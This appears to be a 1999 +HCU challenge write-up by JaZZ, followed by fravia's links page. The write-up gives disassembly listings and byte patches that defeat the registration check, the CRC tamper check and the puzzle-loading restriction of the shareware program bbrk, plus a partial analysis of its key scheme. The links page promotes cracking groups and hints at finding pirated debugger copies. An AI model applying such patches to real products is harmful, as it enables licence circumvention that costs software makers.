jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

weakness the prog could be cracked. Look at the process that leads to the
messagebox. We notice that the adress of the string is calculated, with some
kind of "index". here it is 22E that through 439CA8 leads to the correct adress
in memory. In return of this call, eax holds the adress of the string that'll
be pushed for messagebox. for 22E the adress calculated is: 4A11F3. Then just
look around this area with sice: it's simply the whole array of every
interesting string used by bbrk, in addition they're fully decrypted. First
error from the author, he should have dispatched them, or better, decrypted
only if necessary. Sniffin' around only TWO strings appealed to me:
"Thank you!" "Registration code detected"
Lets choose the first. Its adress is 4A1301. My aim is to search the index
that'll give this adress through the call 439CA8. A good old bruteforce attack:
assemble this little routine "live" with sice:

xor eax,eax
adr: inc eax
push eax
add esp,-4
mov word ptr[esp],ax
call 439CA8
cmp eax,4A1301
pop eax
jnz adr
ok: ; just bpx here!
It'll break instantly with 0231 in eax (unique solution). So back to the dead
listing. Let's search for the ", 0231" pattern in it: Only one match at 45CA36,
a very stimulating result! The corresponding routine obviously starts in 45C9AD.
Very disapointing that wdasm doesn't reference it though. Must be indirectly
called (call [ebx+nn] or similar). It is neither hardcoded (with a push) so it's
in a table and this will charge us with some extra work. With Sice again and
bbrk loaded, let's search the above table with s 30:0 l ffffffff AD C9 45 00.
Once again just one hit: 4852D4. Then same process again, search ", 004852D4"
with the editor. Two hits this time:
this is the first one:
* Referenced by a CALL at Address:
|:00456E04 -----> ****** THIS IS IMPORTANT ******
|
:0045C755 55 push ebp
:0045C756 8BEC mov ebp, esp
:0045C758 83C488 add esp, FFFFFF88
:0045C75B 53 push ebx
:0045C75C 56 push esi
:0045C75D 57 push edi
:0045C75E 8B5D08 mov ebx, dword ptr [ebp+08]
:0045C761 6A00 push 00000000
:0045C763 53 push ebx
:0045C764 E8DC2BFBFF call 0040F345
:0045C769 C703D4524800 mov dword ptr [ebx], 004852D4 --> HERE !
etc.....
No matter what the second hit could be, Have you seen that it's referenced by a
call in 456E04 ? This is deep into the 456AF5 "password checking" routine. So
now it's time to have a look at it, and it'll be easier as we are SURE that to
register, the processor must reach 456E04.

Let's go then. At first sight all the: jmp 00457055 are EVIL, as they get (too

http://www.instinct.org/fravia/99solu/jazzcom.htm (6 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

quickly...) out of it with eax=0 (remember eax mustn't be 0 when returning).


tracing with sice while entering bogus, you'll be kicked but not at the
beginning though. Summary of the strategic jumps:

:00456BA9 751B jne 00456BC6 ---> jump (ok)


:00456BF8 7526 jne 00456C20 ---> jump (ok)
:00456C4F 7531 jne 00456C82 ---> jump (ok)
:00456D31 E8363D0100 call 0046AA6C
:00456D36 85C0 test eax, eax
:00456D38 741B je 00456D55 ---> jump (bad for us...)
after this jmp, eax will be set to 0 and this will kick us out in 456DC9. So
this 46AA6C routine is undoubtly the faulty one. Here's what it does:

:0046AA6C 55 push ebp


:0046AA6D 8BEC mov ebp, esp
:0046AA6F 8B4508 mov eax, dword ptr [ebp+08]
:0046AA72 8B00 mov eax, dword ptr [eax]
:0046AA74 3B0590994800 cmp eax, dword ptr [00489990]
:0046AA7A 0F94C2 sete dl
:0046AA7D 83E201 and edx, 00000001
:0046AA80 8BC2 mov eax, edx
:0046AA82 5D pop ebp
:0046AA83 C20400 ret 0004
In short it returns 1 (the good_boy value) if [adress_pushed]=[489990].

Looking closer near this interesting call, we see that in fact there are two:

:00456D23 8D55C0 lea edx, dword ptr [ebp-40]


:00456D26 52 push edx
:00456D27 53 push ebx
:00456D28 8B0B mov ecx, dword ptr [ebx]
:00456D2A FF5108 call [ecx+08]
:00456D2D 8D45C0 lea eax, dword ptr [ebp-40]
:00456D30 50 push eax
:00456D31 E8363D0100 call 0046AA6C ----> FIRST NICE_BUYER TEST
:00456D36 85C0 test eax, eax
:00456D38 741B je 00456D55 ----> get out!
:00456D3A 8D55BC lea edx, dword ptr [ebp-44]
:00456D3D 52 push edx
:00456D3E 6A00 push 00000000
:00456D40 6A00 push 00000000
:00456D42 53 push ebx
:00456D43 8B0B mov ecx, dword ptr [ebx]
:00456D45 FF5110 call [ecx+10]
:00456D48 8D45BC lea eax, dword ptr [ebp-44]
:00456D4B 50 push eax
:00456D4C E81B3D0100 call 0046AA6C ----> SECOND ONE.
:00456D51 85C0 test eax, eax
:00456D53 7504 jne 00456D59 ----> nice buyer!

So we just want eax to be non zero when returning 46AA6C. We'll change then:
:0046AA7D 83E201 and edx, 00000001
to:
6A 01 push 01
5A pop edx

http://www.instinct.org/fravia/99solu/jazzcom.htm (7 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

At first with a "live" patch, while bpx-ing on 46AA6C. A nice box pops up with
our "Thank you!" string in it (no field should be empty though) and it seems
regged... Try a puzzle, the "demo" background has disapeared, no more reminder
box anymore. Ok, now we try to hard patch, and we're stuck with a CRC check :
"content seems to be altered...." This shouldn't be too hard, with the
messagebox you'll easily find the dedicated
routine:
:00442CC2 E870DBFFFF call 00440837 ---> checksum routine
:00442CC7 3D22334455 cmp eax, 55443322 ---> good boy value
:00442CCC 7472 je 00442D40 ----> exe not altered
;messagebox("sucker!")

Having a look at 440837, we quickly find that the good boy test is here: (yes we
could have set the je to jmp in 442CCC, but who knows, may be it's called
elsewhere, even if wdasm doesn't reference it)

:00440DAE E8B504FCFF call 00401268


:00440DB3 83C40C add esp, 0000000C
:00440DB6 85C0 test eax, eax
:00440DB8 752E jne 00440DE8 ---> this is the faulty one!
:00440DBA A1803B4800 mov eax, dword ptr [00483B80]
:00440DBF 8B10 mov edx, dword ptr [eax]
:00440DC1 8B0D243B4800 mov ecx, dword ptr [00483B24]
:00440DC7 8911 mov dword ptr [ecx], edx
:00440DC9 B822334455 mov eax, 55443322 ----> nice value...

Just change a single byte:


:00440DB6 85C0 test eax, eax
to:
33C0 xor eax,eax

When you try to register, the program will write an entry in the bbrk.ini file,
where sections are defined according to the pack field. You can see then that
the guy is always checking if you're a nice buyer or not. Just bpx 46AA6C...
The release is now 2.3 (09/98), and the protection in this one is less simple.
He doesn't check a simple flag anymore. This decided me to look deeper at the
encryption scheme. But by now this is almost the deadline, only 2 days left, i
couldn't manage to break it totally. Please have a look at braincrypt.txt for a
little discussion of the encryption system.

------------------

3) Finally let's enable the possibility to play every puzzle, even those created
with an "unregged" computer. (when creating a puzzle, a header holding your
"registration info" will be included in the file, program has just to check it
when loading). With a little research we find the"loading" call:
:00445CA4 E8B9E1FFFF call 00443E62
the routine begins at 445ABC. tracing through it with sice, comparing between a
good and a bad puzzle, you'll see that the evil jump is:

:00445C1E E8ED390200 call 00469610


:00445C23 3B45E8 cmp eax, dword ptr [ebp-18]
:00445C26 743B je 00445C63 ---> regged user.
:00445C28 68EE030000 push 000003EE
:00445C2D 6A00 push 00000000

http://www.instinct.org/fravia/99solu/jazzcom.htm (8 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

:00445C2F 6A00 push 00000000


:00445C31 8D4DFC lea ecx, dword ptr [ebp-04]
:00445C34 51 push ecx
:00445C35 E86243FDFF call 00419F9C
:00445C3A 8D45FC lea eax, dword ptr [ebp-04]
:00445C3D 50 push eax
:00445C3E 56 push esi
:00445C3F E8DD40FDFF call 00419D21
:00445C44 8BC6 mov eax, esi
:00445C46 50 push eax
:00445C47 6A02 push 00000002
:00445C49 8D55EC lea edx, dword ptr [ebp-14]
:00445C4C 52 push edx
:00445C4D E8B9F4FCFF call 0041510B
:00445C52 6A02 push 00000002
:00445C54 8D4DFC lea ecx, dword ptr [ebp-04]
:00445C57 51 push ecx
:00445C58 E83441FDFF call 00419D91
:00445C5D 58 pop eax
:00445C5E E98A000000 jmp 00445CED ---> exit

so we'll change one byte:


:00445C26 743B je 00445C63
to EB3B jmp 445C63

Frow now on, every puzzle will be loaded.

The patcher has been designed to be tested on bbrk.(nb: whenever patched you
must go through the CTRL F8 process and enter bogus (no empty fields).

#------------------------------------------------------------------------------#

(please read challenge3.txt before)


Just for reminding, the sensible area is:

:00456D23 8D55C0 lea edx, dword ptr [ebp-40]


:00456D26 52 push edx
:00456D27 53 push ebx
:00456D28 8B0B mov ecx, dword ptr [ebx]
:00456D2A FF5108 call [ecx+08] ---> adr:459AC1
:00456D2D 8D45C0 lea eax, dword ptr [ebp-40]
:00456D30 50 push eax
:00456D31 E8363D0100 call 0046AA6C ----> FIRST NICE_BUYER TEST
:00456D36 85C0 test eax, eax
:00456D38 741B je 00456D55 ----> get out!
:00456D3A 8D55BC lea edx, dword ptr [ebp-44]
:00456D3D 52 push edx
:00456D3E 6A00 push 00000000
:00456D40 6A00 push 00000000
:00456D42 53 push ebx
:00456D43 8B0B mov ecx, dword ptr [ebx]
:00456D45 FF5110 call [ecx+10] -----> 459C3A
:00456D48 8D45BC lea eax, dword ptr [ebp-44]
:00456D4B 50 push eax

http://www.instinct.org/fravia/99solu/jazzcom.htm (9 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

:00456D4C E81B3D0100 call 0046AA6C ----> SECOND ONE.


:00456D51 85C0 test eax, eax
:00456D53 7504 jne 00456D59 ----> nice buyer!

I think huge asm dumps are just boring, so i'll try to sumarize what i've
understand from the encryption:
The important calls are 459AC1 and 459C3A. They finally set the flag that will
be compared with 489990. If it's ok the value is 15A4. if not it'll be its
opposite: FFFFEA5C.
Seems that you've got two "chances" to trigger the ok box. The algos differ in
that in each case the working area width vary. It can be 9 or D, and the
"congruence" can be 1 or 3. For the moment i've just looked at the first case.

A) First call:
crashThe call 459AC1 checks the key. Here's how: the characters (uppercased)
must be alphanumeric, values 1 and 0 are excluded, 1 is set to L (have you
noticed that everything es when you put "1" in the key field ?). A rather
"cryptic" routine (46ABE9) does the following:
1- give the position of each char in the string
"ABCDEFHIKLMNOPQRSTUVWXYZ23456789". Only the 5 less significant bits of this
position will be used. The program constructs a new key with these five bits by
putting them aside. If the previous was L bytes long, the new one will be
int(L*5/8)+1 bytes. I'll give an example: supposing your key is "23456",
2-->1A (the position in the string) --> 11010
3-->1B --> 11011
4-->1C --> 11100
5-->1D --> 11101
6-->1E --> 11110

2- Juxtaposing all this stuff beginning from the right gives the new pattern:
1 1110 1110 1111 0011 0111 1010
1 E E F 3 7 A
In memory there will be: 7A F3 EE 01 + some constant bytes. the 9 bytes
beginning with the new key are xored alltogether (459B50), and the result must give
0 (:459B76 call 401268 is the comparing routine). That triggers the first "nice
buyer flag". This appears quite easy to bruteforce; i hadn't seen the rest....

B) Second call:
The routine in 459C3A first uses the pack, name, id fields to construct some kind
of 6 bytes long checksum: all bytes at the same position in each string are
xored together and the result is put in this 6 bytes area beginning at adr.(the
position from adr is evaluated modulo 6).Example for the following values : (adr
is initialized to 00 00 00 00 00 00)
pack: 212
name: abc def
id : 12345678

[adr]= [adr] xor 2 xor a xor 1


[adr+1]=[adr+1] xor 1 xor b xor 2
..... etc, then for the 7th:
[adr]=[adr] xor f xor 7 (no more chars in pack)

Finally you've got this 6 bytes large area which will be matched against
another, triggering the second ok flag. And that's where i'm stuck, because the
second one is not always the same even if you don't touch anything in the 4

http://www.instinct.org/fravia/99solu/jazzcom.htm (10 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

fields. I came to the conclusion that one of the two calls: 46A4E0 or 46A77F
obviously affects this area (its adress is pushed but not used) if some
condition is met. Actually these 2 calls are doing something on the transformed
key, but these routines are such a mess (recursivity involved...)
Unfortunately that's all for now :-(

#------------------------------------------------------------------------------#
# - Challenge #4 - #
# by JaZZ #
#------------------------------------------------------------------------------#

All being well considered, the ultimate one may have been the tougher...
Reproducing as close as possible the damned graphical effect is indeed a real
challenge. I chose to code the program in C for conveniency. But before coding,
a deep analysis of the process is needed. Setting a break on Ellipse or Bitblt
after a puzzle has been achieved will get you in the heart of the routine, which
starts at 42EAFB. The effect consists of 16 successives images, each of which is
displayed by a Bitblt function at adress 429D5A. This adress is therefore a
priveleged location to study the sparkling. A random location is chosen on the
puzzle. Then there are two phases:
- ascending (images 1 to 8) where the geometric pattern grows.
- descending (im. 9 to 16) where it disappears (the 16th image beeing the
original image of the screen), using the same images in reverse order. In
addition there's a random amount of small sparks near the main figure. They last
6 images max, and can only be a pixel or a small cross. (only 2 colors for them)

The main figure is made up of


- a cross
- one to three ellipses (depending on the progress of the process), each one
having its own colour.
There are 7 sets of colors. The program chooses one at the beginning (To
retrieve them, just break on CreateSolidBrush).

The author's method.


--------------------
He uses several bitmaps (20x20).
A first one is used to save the original screen:B0
He creates two bitmaps for the figures (B1,B2), and a working one, Bw, where he
elaborates the final image that will be transfered to the screen at 429D5A. Then
the process for building one image is the following, rather complicated (i chose
a more simple way to achieve a similar result, you'll judge).
1) B0->Bw : working bmp is loaded with the "untouched" image (raster-op:SRCCPY)
2) fill B1 with white and draw the pattern in black on it.
3) fill B2 with black and draw the pattern with appropriate colors in it
4) B1->Bw (raster-op:SRCAND) the effect is to "black" the pattern in the
original bitmap.
5) B2->Bw (raster-op:SRCINVERT) the effect is to insert the colored pattern in
its "blacked" location in Bw.
6) Bw->Screen.

And so on along the 16 steps.

My method.
----------

http://www.instinct.org/fravia/99solu/jazzcom.htm (11 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

I use only 2 bitmaps. With the first i save the original screen. In the second,
the working one, i draw directly.
1) copy original image in it (SRCCPY)
2) draw pattern according to the drawing process.(SRCCPY)

Drawing the correct figure...


To do this, i traced every call to Ellipse and wrote down the coordinates. then
i've hardcoded them in an array in C. Quite a laborious task indeed. For the
LineTo and MoveToEx, I've used a more clever method: I just use the min and max
of the coordinates and compute the relevant increments according to the number
of steps.
The possible sets of color are hardcoded too, one is chosen randomly at the
beginning of the process.

For the little sparks, the task is a little more comlicated, for they have a
more random behavior:
-random position "near" the ellipse.
-random date of appearance.
-random amount of these objects.
To formalize this, i defined a structure for this object:
-location
-step of appearance
-age of the object, to control its appearance: pixel or cross.

At first, i decide how many sparks there will be. For every of them,i initialize
the above structure with appropriate data. Especially, to find a good location i
use a special random generator which exclude certain intervals, as the sparks
must be "close" to the ellipse, ie. the center area and the edges shouldn't be
used.

Modifying sparkle.ini
---------------------

Feel free to modify this initialisation file, which defines the behavior of the
program. Here are the entries:

fullscreen=1/0 ; The output will/will not take the entire screen.


blackscreen=1/0; The background color will be black/unchanged.
howmuch=20 ; The graphical effect will occur 20 times.
waste=23 ; A temporisation in milliseconds.
width=300 ; If fullscreen=0, these two parameters define the width &
height=200 ; height of the rectangle (randomly located) where all
; the figures will be drawn.

the "waste" param is quite sensible. It can affect dramatically the realism of
the effect. This value gave a good result on my pc, for another machine i dont
know...
#------------------------------------------------------------------------------#

http://www.instinct.org/fravia/99solu/jazzcom.htm (12 of 12) [2/7/2001 2:58:43 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Links, ah links!
My links page starts -fitting
enough- with a search engines
form, because links are a funny
thing: they keep moving around
and changing, they must be
continuously fixed and require a
lot of updating. The Web moves
like quicksand, good sites,
appear and disappear among
waves of crap. Anyway, if you
learn the relevant search
techniques you will not need

L fravia's many links, you'll always be


able to find quickly what you
need

I favourites This said here you'll find quite a


lot of links to places, resources
or minds that I believe you

N links partly updated


October 1999
should in due time visit. I did
visit all of them, and I keep
doing it whenever I have the

K time, and I like them, else they


would not be here.
I like sites where you can see
somebody working on his OWN
S How to search
Search forms
(every kid and his dog is capable
of "scrapping together" a site of
sort, stealing some info here and
there).
The difficulty is to GIVE
something worth so that others
Fravia's Nofrill may work on it. I don't like
Web design 'frills': I link only to sites I
('98 & '99) found worth, and I am very
slow, so don't be deceived if
your phantastic site is not here
:-)
Of course, cela va sans dire, all
my links are commented

Links die, searching does not

http://www.instinct.org/fravia/links.htm (1 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

[how to search] ~ [search engines main] ~ [search engines light]


[british agora] ~ [italian agora] ~ [nippon agora]

(Many 'ephemerical' links are provided on the two "fravia's" message boards: GENERAL and TOT,
moderated by Master Svd, iefaf, Mammon_ and myself... both well worth a visit)

GENERAL (everything but reversing tools) ~ 'TOOLS OF THE TRADE' (only)

Casting on this page... reversers and protectors in alphabetical order

+Aesculapius, +Greythorne the Technomancer, +Indian Trail, +Malattia, +Mammon_, +Rezident,


+Sandman, .sozni, Caprino, Carpatia, Chaos Computer Club, Clive Turvey, Corleone, Crackz, Cristina
Cifuentes, DaVinci, Frans Faase, Frog's print, Fyodor, Ghiribizzo, Icedragon, Iczelion, Ilfak Guilfanov,
L0pht heavy industries, LordCaligo, Mailman, Matt Pietrek, Mexelite, Patasitez, Phrozen crew, Quantico,
Richard Fellner, Rob Beckers, Saltine, Satanic sysads, Stone, Sudden discharge, The intel crackers,
Torn@do, Tricky Mickey, United Cracking Force, Virus programming, Vitas Ramanchauskas, Ytc.

fravia's links: A) anti-cracking links

Vitas Ramanchauskas' site: http://www.soft4you.com/vitas/antihack.htm


Some interesting techniques and original ideas

Richard Fellner's anti-crack tips http://www.user.xpoint.at/r.fellner/nocrack.htm


(most of them have been shamelessly stolen from my site :-)

Rob Beckers' How to Battle Warez: http://www.cat-soft.com/warez.htm


A VERY interesting part about site tracking and elementary/intermediate stalking techniques

On this site: my "programmer's corner" and my "our protections" sections.

fravia's links: B) reverse engineering related sites


+Greythorne gthorne(at)cyberspace(point)com ~ +HCU Ambassador on all IRC
domains.
+Greythorne (1) +Greythorne (2) +Greythorne (3)
+Greythorne's ftp site the official repository of the +orcpacks
Greythorne the Technomancer has a series of assembler essays and a lot of "orcpacks", i.e. +ORC's lesson
with ALL (yes, all) the targets (i.e. the programs) that +ORC uses in his tutorial. On his site you'll find very
important introductions to assembly language and many other goodies. Since he spreads real knowledge,

http://www.instinct.org/fravia/links.htm (2 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Greythorne has been censored a lot on the web. +Greythorne is an Unix guru, a System administrator, a
wizard of knowledge and my web_brother since 1996.
Don't let the "poor" graphic design of his sites fool you! +gthorne is in reality a famous web-designer!
This is one of the BEST KNOWLEDGE SITES of the whole web. Visiting +gthorne's pages you'll find
EVEN MORE than on my own ones... he is one of the few good crackers which give away his (very deep)
knowledge without even thinking about compensation

+HCU Linux Page


+Rezident's work. This main +HCU current project is strictly for Tux lovers, though... see also
+Greythorne's Linux messageboard!

Matt Pietrek's own page


I don't believe there is any need to present to my readers one of the greatest geniuses in the reversing world:
MATT PIETREK. Unlike some other commercial oriented baloons, that fill WHSmith's shelves with
useless cram, Matt has written few books... yet every single page of those books is a MUST READ for
anyone seriously working against our Micro$oft banes. Matt Pietrek is a great mighty wizard... and a great
teacher... and you should by all means pay visit to his pages at http://www.tiac.net/users/mpietrek/

Clive Turvey's own page


I don't believe there is any need to present to my readers Clive Turvey either. Clive is the (very capable)
programmer-improver of Schulman's Windoze's Sourcer (from V communications), one of the basic tools of
our trade. Moreover he has created and keeps creating creative tools that you would be well advised to
download, study and use. You'll find everything he has done (with source code) on his good site! Enjoy the
works of this mighty reverser! (Here the main entrance to his site)

Frans Faase's decompilation page. It is now updated and maintained by Cristina Cifuentes, one of the
authorities of the decompilation 'establishment'. Very interesting site in order to gain an historical
perspective about programming languages decompilation.

http://www.surf.to/tapu/: Tapu's Strange World.


Tapu links everywhere you want to go (tapu(at)iainc(point)net)
Tapu is another Net legend, and I always liked her site's "Indian" look. Tapu is a great poetess, of beautiful
sensible nature ("I'm never sure how much we really HAVE genders here in this sparkling otherworld of
packets and loss") and a clever follower of all sort of underground links, unfortunately her links are NOT
commented (as for now :-), which is a pity to say the least, because she knows the scene like few others. You
should by all means visit Tapu, you'll never regret it.

+Frog's print A master of reversing, a great +cracker, a friend of mine


Frog's print is one among the best European crackers, his essays are outstanding, his knowledges inferior
only to his intuition and feeling of the code. A great page and a great +cracker, visit him by all means!

+Mammon_ Awesome site! Incredible treasures of knowledge!


+Mammon_ is a very clever +cracker and philosopher, he developed an incredibly
interesting site that let many more famous sites bite dust! This is one of the BEST

http://www.instinct.org/fravia/links.htm (3 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

KNOWLEDGE SITES of the whole web. A MUST visit for everyone seriously interested in
reverse engineering. +Mammon_'s tales to his Grandson are particularly interesting, but the whole part
dedicated to the (monstruous) windows' register is worth a visit too. Very good site: I'm impressed. I
sincerely believe +Mammon_ to be one of the most resourceful and gifted reversers around. His pages
contain TRUE STRONG KNOWLEDGE!

+ReZiDeNt's very good "Ministry of reverse engineering"


You will find quite a lot of interesting stuff on this VERY GOOD (if a little GreatBritain biased :-) page... a
MUST visit for icecreams afecionados and for anyone seriously interested into reverse engineering.
Besides, +ReZiDeNt is a CONSCIENTIOUS european +cracker and a Corel protections wizard. You'll find
a lot of USEFUL stuff on his site. Worthy and sparkling site: visit it!

+Malattia's great site USEFUL FOR BEGINNERS


+Malattia is a computer book writer and editor that knows quite well the whole +scene
and a good capable reverser. He is also a very kind and altruistic person (I know him
personally: we drank beer together more than once :-) and is already helping talented
beginners with a selection of beginners essays. He is now specialising in "links that count" and functionality
adding & ameliorating. It would be quite interesting for any reader, I am sure, to have a look at his recent
perl scripts. His site is one of the BEST KNOWLEDGE SITES of the whole web!

+Sandman: a very good site USEFUL FOR BEGINNERS


+Sandman is an +ORC's student and a good 'ethical' cracker. You'll find a very
interesting thread and many good essays on his site. A relatively "recent" good site that is
quickly gaining importance in the scene.
This is one of the BEST KNOWLEDGE SITES of the whole web, and is particularly indicated for
beginners in software reverse engineering.

http://www.x86.org/ THE INTEL CRACKERS!


A fundamental site: intel secrets (intel crackers)... if you did not know that there are SECRET OPCODES
then visit these assembly wizard talented crackers!

CrackZ's reverse engineering homepage A worthy collection of miscellaneous tutorials USEFUL


FOR BEGINNERS
You will find quite a lot of interesting stuff on this VERY GOOD page... a MUST visit for people
disassembling visual basic, besides, Crackz (crackz__(at)hotmail(point)com) is a GOOD cracker, and
you'll find a lot of USEFUL tutorial on his site. Good and interesting site: visit it!

Mailman's site "always worth" (gstamp19(at)mail(point)idt(point)net)


Interesting and GOOD page (a pity he wants to throw it away... besides, he offered me a stable URL, and
I'll never forget it :-)

+Aesculapius +Aesculapius is an +HCU TEACHER, and a really gifted reversing +wizard. He is a real
great +cracker, capable to teach and to work on difficult projects. He is moreover the author of the 'new
generation' of assembly based protections (see protecti.htm)
He helds at the moment the +HCU advanced courses and has published the new +HCU STRAINER (for

http://www.instinct.org/fravia/links.htm (4 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

1999): try your hand at the beastly Trujillo protection! (The various elements of this protection support
eachother :-) +Aesculapius has prepared this great project!
On this site you'll find an extremely interesting collection of tools (among many other interesting things:
this is a very GOOD site)... least but not last: visit Aesculapius' pages and you will never need to search
again for icecreams (not that anyone needs to search long for them... the web is saturated with "our"
icecreams :-)

LordCaligo A worthy list of cracking tutorials and one of the best sites around...
caligo(at)lords(point)com
even I did not know about some of these tutorials... This is one of the BEST
KNOWLEDGE SITES of the whole web. It's a real pity that Caligo wants to give it up...
Besides LordCaligo's tools are REALLY interesting... you'll find here even some OFFICIAL +HCU TOOLS
(see my tools page). Hey, does'nt "Caligo" mean "nebel" in some old-forgotten dialect?

Virus programming instruction & tools


Interesting and GOOD page for info about coding... I could not care less about virii, but I care A LOT
about virus programming itself (and virus' disassembling) for SOME VERY IMPORTANT motives:

1) Virii's Authors are compelled to write very TIGHT code


2) virus disassembling is one of the oldest and most important reverse engineering branches (you are a dead
Sysadministrator if you do not have a good reverse engineer at hand as soon as a strong virus invades your
intranet)
3) The code they use is very "clever" in matters that have an enormous importance for reverse engineers,
like "cloaking", "junking", "purpose hiding", "boat riding" and "deferring"

All good reasons to study old "obsolete" DOS virus code... didn't you read +ORC's tutorial? Knowledge of
software's history is in itself a marvellous Weapon! You will learn (and for free) from some old forgotten
virii MORE tricks than from all "NEW" so called 'undocumented' books together!

You want a really good virus information site? You better know your spanish, though:
http://members.xoom.com/pata666/pata.htm, the patasitez (spanish speaking virus wizards)

Doug Harp: From Inertia to reverse engineering


Useful for beginners: he has a 'cracking for newbies' section. Read (and head) his "why everyone should
crack" section/introduction!

Iczelion's Cracking Resource (Main Page): A very good site.


Useful for beginners and intermediate alike. Worth a place on your 'regular visit trip'
As Iczelion's (iczelion(at)galaxycorp(point)com) writes: "Assembly language is usually
dismissed as "unsuitable" or even downright "unpractical" tool for Win32 development.
Not so! Writing assembly programs for Win32 platform is indeed possible and easy. Don't believe what you
hear from Micro$oft! See for yourself!"
This is one of the BEST KNOWLEDGE SITES of the whole web. A MUST visit for tools collectors.
And here you have the extremely interesting Iczelion's Win32 Assembly Forum!

http://www.instinct.org/fravia/links.htm (5 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Quantico (mexelite): A very good site.


One of Mexelite's best grips. Worth a place on your 'regular visit trip'

ytc's cracking library: A good site.

Softice... you should buy it at NuMega, of course... for a limited amount of days (don't remember if 30, 14
or 622 :-) you may experiment and play with this powerful debugger using some of the demo copies that
you should be able to find on the Web following these three links:
Look what we have here... a site completely dedicated to the best debugger of this planet...
(Of course you may always find what you need if you use the correct ftp search pattern :-)
(Of course you may always find what you need if you use the correct Altavista query)

Torn@do The cracker's notes, by Torn@do are a very useful and well managed source of reverse
engineering tips (wrote CrackZ, and I agree :-)

Tricky Mickeys A good swedish programmer/reality cracker: "I think that the best sites are those that
provide information and has a very fast loading time". He's (or was :-) music oriented.

Fyodor Fyodor! This is a link to follow, especially if you are a bit into hacking as well. Fyodor's page is a
TREASURE for knowledge seekers!

Chaos Computer Club you don't know what's the ccc? Be ashamed! (I held a workshop at their Camp
"Software reverse engineering: Beyond simple protection cracking", in August 1999, nice people)

UCF '97 United Cracking Force "official" page


As you know we don't care much for groups (our aim is to teach EVERYBODY how to crack) but this one is
a real good group, which together with the mighty Phrozen Crew rules the release scene.

Ilfak Guilfanov's http://www.datarescue.com/flirt.htm FLIRT! ~ Fast Library Identification and


Recognition Technology!
I don't need to remind my readers about WHO is this russian genius, do I?
"...real life programs contain, on average, 50% of library functions. This is why the user of a disassembler is
forced to waste more than half of his time isolating those library functions. The analysis of an unknown
program resembles the resolution of a gigantic crossword puzzle : the more letters we know, the easier it is
to guess the next word. During a disassembly, more comments and meaningful names in a function means a
faster understanding of its purpose. Widespread use of standard libraries such as OWL, MFC and others
increase even more the contribution of the standard functions in the target program". This is a link and an
approach for real reversers. I hope many of my readers will help Ilfak (and Datarescue) on this...

.sozni http://www.mod.lv/sozni/index2.htm [sozni(at)usa(point)net] an ActiveX wizard, NT-security


expert and great master reverser! In fact .sozni seems to have gone a long way all on his own. Visit his very
good site and you'll find a WEALTH of extremely interesting essays about OCX controls (but not only).

http://www.instinct.org/fravia/links.htm (6 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Ghiribizzo: famous for his tutorials in pdf format. Ghiribizzo is very interested about the legal aspects of
our activity.

L0pht heavy industries more Hackers than Crackers


(This site offers moreover a nice possibility to learn the first elements of the 'klebing' Web-search technique.
If you are interested in this you may want to read my sear1197.htm 'how to search the web' lesson)

Read Icedragon's tutorial on Softice and then visit this good site at http://failure.ml.org/~mib
USEFUL FOR BEGINNERS

Phrozen crew site 1; Phrozen crew site 2; Phrozen crew site 3; these guys rule, a must for ALL
cracking/keygen/reversing enthusiasts master_davinci(at)yahoo(point)com
This is the most known and most 'prolific' cracking group of the world... good wizard Saltine is/was a crew
member (among many other good crackers). The PC-guys have reversed some INCREDIBLE protection
schemes, yet they seem to prefer to keep cracks 'among crackers' somehow and have only recently begun to
deliver (very good) essays to the scene :-)

http://www.ice.org/~davinci/: Master DaVinci's own page. The greatest artist of the cracking world (you
may have a look at his creation for me on entran.htm :-)

Stone's page
Stone's page
(On 13 february 1998 the mirror of this page was CENSORED together with my own and
+gthorne's mirrors). A spectacular site with a lot of own-made (stonemade) programs and
probes. This is one of the BEST KNOWLEDGE SITES of the whole web. A MUST visit for anyone
interested in our trade.
See the packers & unpackers list there...I like Stone's site quite a lot :-)

& +Indian Trail's sites... a site up in the Sierra, very stimulating, especially if you are into games'
structure reversing and stripping or into magnetic strip decoding (a sparkling field :-)

Corleone's cracking site:a recent arrival, very well made and with some very interesting tutorials.
Unfortunately some tutorials are still in serbo-croatian :-)
Well worth a visit!

sudden discharge: a great place... you won't regret visiting this site for sure (The numero uno site in
runtime encrypition according to Master Stone :-)

Caprino's page with REC and his very interesting experiments in decompiling.

satanic sysads true masters, yet they don't seem to understand much about beers else they would drink
Leffe Blonde (or even heaven's Ename) and not the crap beers they list :-) This is a MUST VISIT site for all
linux lovers...

http://www.instinct.org/fravia/links.htm (7 of 12) [2/7/2001 2:59:12 PM]


links.htm: fravia's main links page: links to software reverse engineering related sites

Can't find what you'r looking for?

Ok, so you dunnow where to start... well, in that case: http://start.at/these.urls.first of course :-)

+HCU Maillist

HCU main maillist for those who want to discuss HCU related topics with other +crackers.
Many of the Webmasters above (and most great wizards) ARE on the main (public) list, which is directed
by +Zer0 and kept at the moment by +Malattia and +greythorne in absentia +Zeri

Have a look at the: Webrepository of our main maillist

fravia's links: C) other sites


Link to every assembly language link or tutorial that you may need (assembly cuts, beware!)
And if you want to learn specific "windows geared" assembly tricks and procedures, visit WhizKid's
"Assembly Language source code download" section!
A master security hacker you'll learn here quite a lot (advanced unix hacking)
password recovery for all password related circumstances :-)
The art of spam hunting: http://www.blighty.com/spam/docs.html
